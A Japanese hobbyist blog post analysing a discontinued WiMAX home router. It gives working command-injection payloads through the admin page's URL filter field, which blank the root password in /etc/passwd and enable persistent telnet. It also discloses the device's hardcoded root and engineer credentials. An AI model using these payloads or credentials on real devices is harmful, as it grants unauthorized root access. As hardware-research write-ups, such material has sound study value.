URoad-Homeを分解してみた5~コマンドインジェクションを使用したroot権限奪取~

投稿者: | 11月 16, 2023

目次

はじめに

前回の記事でフラッシュのダンプを取ったということで今回はroot権限の奪取とその後の解析です。

URoad-Home関係の記事の一覧と概要はこちら

危険性について

今回使用するのは、webの管理者画面から脆弱性をついて行うOSコマンドインジェクションです。今更こんな、停波したWiMaxで、しかも2011年のルータを使う人なぞ1人もいないと思いますが、
悪用厳禁
です。他人に迷惑をかけるようなことはやめましょう。

大まかな流れ

実行したファームウェアバージョンは1.2.6.1です。

Web管理者画面→ファイアーウォール→コンテンツフィルタ設定→URL制限にて、ブラウザのディベロッパーツールを使用してペイロードを||コマンド||とすると、そのコマンドが実行されます。
それを利用して、/etc/passwdファイルの中身を書き換えてパスワードを無効化します。

コマンドインジェクションの手順

わざわざこれを行わなくてもrootのパスワードが判明した(パスワード:cldn09cjsdhkd)のでコンソールにログインできます。加えて、コマンドインジェクションをaddURLFilter=||telnetd||のみ実行することでUARTでの接続なく、コンソールに入ることができます。

0. UARTでログを見れるようにする
URoad-Homeを分解してみた2を参考にしてログを見れるようにしてください。

1. FirefoxでWeb管理者画面に入る
192.169.100.254にアクセスします。ユーザ・パスワードはどちらもadminです。
FireFoxで開くのは、Web開発ツールが使いやすいからです。

2. Web開発ツールを開く
開いたあとネットワークを押してください。

3. ファイアウォール→コンテンツフィルタ設定で適当なものを送る
設定済みURLフィルタで送った文字が出てたら問題ないです。

4. Web開発ツールで送られたパケットを見つける
メソッドがPOSTのものを下から探してみてください。要求がaddURLFilterから始まっているはずです。

URoad-Homeを分解してみた5~コマンドインジェクションを使用したroot権限奪取~
FireFox
POST
見つけたパケット

5. パケットを編集して再送する
見つけたものを右クリックして、編集して再送信を押します。ボディを
addURLFilter=||cat /etc/passwd||
とし、送信します。

URoad-Homeを分解してみた5~コマンドインジェクションを使用したroot権限奪取~
addURLFilter=||cat /etc/passwd||
addURLFilter=||cat /etc/passwd||に変更したところ

6. UARTのログ(コンソール)で確認する
多分、
root:lvycugpDnb8/2:0:0:Adminstrator:/:/bin/sh
とでます。もし、異なる場合は、出力されたroot:から、:0:0の間の文字列をコピーしておいてください。

7. 再びパケットを編集して再送する
5.と同じように、編集し、
addURLFilter=||sed -i 's/lvycugpDnb8\/2//g' /etc/passwd||
とし、送信します。6.で文字列が異なった場合は、s/から//gの間を変更してください。

8. UARTのコンソールに入る
UARTのコンソールで適当なキーを押し、rootでログインします。パスワードは求められないはずです。

URoad-Homeを分解してみた5~コマンドインジェクションを使用したroot権限奪取~
URoad-3000
addURLFilter=||sed -i 's/lvycugpDnb8\/2//g' /etc/passwd||
rootでコンソールに入ったところ

9. おまけ:telnetを有効にする
addURLFilter=||telnetd||
でパケットを送るとtelnetを有効にでき、遠隔で接続できます。

再起動してもパスワードは無効のままであり、telnetも自動で起動します。

仕組み

この方法は最も典型的なコマンドインジェクションだと思います。Linuxにてコマンドを実行する時に特定の文字、|、&、;、”、’、等は特殊な意味を持ちます。今回使用した||は前のコマンドに失敗したら実行するという意味です。今回の入力した文字列は、本来は、
iptables -A web_filter -p tcp -m tcp -m webstr –url 適当なURL -j REJECT –reject-with tcp-reset
と実行されますが、||が入ることによって、
iptables -A web_filter -p tcp -m tcp -m webstr –url ||コマンド|| -j REJECT –reject-with tcp-reset
というコマンドになり、なおかつ、iptables -A web_filter -p tcp -m tcp -m webstr –urlが中等半端に終わっているので、必ず失敗し、コマンドが実行されます。
ちなみに、なぜ ; では無いのかというと、;は対策済みでパケット送っても反映されなかったためです。

都合が良いことに、先程のコマンドは起動時に絶対に実行されるため、再起動すると変更が失われるramdiskに対しても有効であり、一度実行するだけで、パスワードから開放されます。

ログイン後の解析

コンソールに入れたので色々見てみます。

rootのパスワード

前回、展開したramdiskの/sbin/internet.shの中にこんな記述がありました。

URoad-Homeを分解してみた5~コマンドインジェクションを使用したroot権限奪取~
/sbin/internet.sh
/sbun/internet.shの中身

そのため、nvram_get 2860 Passwordを行ったところ、パスワードが判明しました。

cldn09cjsdhkd

でした。コマンドインジェクションのエントリーを消して実際にログインを試したところこのパスワードでログインできました。

Telnetの有効化

/sbin/security.shには、こんな記述があり、

URoad-Homeを分解してみた5~コマンドインジェクションを使用したroot権限奪取~
/sbin/security.sh
/sbin/security.shの中身

実際にnvram_set 2860 EnableTelnet 1を実行すると、起動時に自動でTelnetが立ち上がりました。

エンジニア用web管理画面

/etc_ro/web/engineer/というディレクトリが存在し、エンジニア専用管理者ページ的なのが見つかったので、ghidraで/bin/goaheadを解析してみると、

URoad-Homeを分解してみた5~コマンドインジェクションを使用したroot権限奪取~
goahead
ghidra
/bin/goaheadをghidraで解析

との記述があり、nvram_get 2860 webLoginEngnvram_get 2860 webPasswordEngを試してみるとユーザー名はengineerur301tkaqlqjsでした。できることとしては、WiFiのリージョン設定やWiMaxの設定、自動更新用のURLの変更って感じです。Telnet有効化とかはありませんでした。

URoad-Homeを分解してみた5~コマンドインジェクションを使用したroot権限奪取~
URoad-3000
EAPパラメータ設定
高級設定
デバッグスクリーン
WiMaxのデバッグスクリーン
URoad-Homeを分解してみた5~コマンドインジェクションを使用したroot権限奪取~
URoad-3000
アドバンスト無線設定
WiFiの詳細設定

GPIO

gpioというコマンドがあったので少し調べてみました。完成度が低いのかわからないですが、動作が変で、単純なON/OFFができませんでした(使い方を間違えてるだけかも)。調べた感じこんな感じでした。

14・・・リセットがかかる
40・・・USB周り→WiMAXモジュールの5V?
41・・・電源緑LED
42・・・電源赤LED
43・・・WLANスイッチ
46・・・Wimax緑
48・・・Wimax青
49・・・WiFi赤
50・・・Wimax赤

URoad-Homeを分解してみた5~コマンドインジェクションを使用したroot権限奪取~
GPIO
gpioコマンド

ネットワークインターフェース

ip aの実行結果です。15個もインターフェースがあります。とても追いです。ra0、ra1が本体についているやつかなーって感じです。wm0はWiMaxだと思います。

URoad-Homeを分解してみた5~コマンドインジェクションを使用したroot権限奪取~
ip a

おまけ:ファームウェアダンプ

前回の記事では、U-Bootのコンソールでmdを実行してダンプをしましたが、コンソールでもダンプできます。注意点としては、ddコマンドが無いので、busyboxをコピーする必要があります。

流れとしては、
ホストPCでbusybox(busybox-mipsel)をダウンロード
ホストPCでftpサーバをたてる。
サーバーに接続する
cd /tmp
ftp ホストPCのIPアドレス
busyboxをコピー
get busybox-mipsel
exit
busyboxに実行権限をつける
chmod 777 ./busybox-mipsel
ddコマンドを実行
./busybox-mipsel dd of=/tmp/mtdblock0.img if=/dev/mtdblock0
mtdblock0から5まであるので、それぞれ実行すること
ftpでアップロード
ftp ホストPCのIPアドレス
put mtdblock0.img
って感じです。
ちなみに自分は/etc_ro/web下にln -s /tmp /etc_ro/web/tmpでシンボリックリンクを作ってホストPCにダウンロードしました。
今回のダンプは、すでにビッグエンディアンになっていてそのままbinwalkで読めます。

おわりに

なんかめちゃめちゃ面白かったです。コマンドインジェクションも初めてですし、ghidraも初めてまともに使いました。ただ、なんかハッカーって感じで少し嫌です。次はアップデートでもして、差を見てみます。

URoad-Home関係の記事の一覧と概要はこちら

コメントを残す

メールアドレスが公開されることはありません。 が付いている欄は必須項目です

日本語が含まれない投稿は無視されますのでご注意ください。(スパム対策)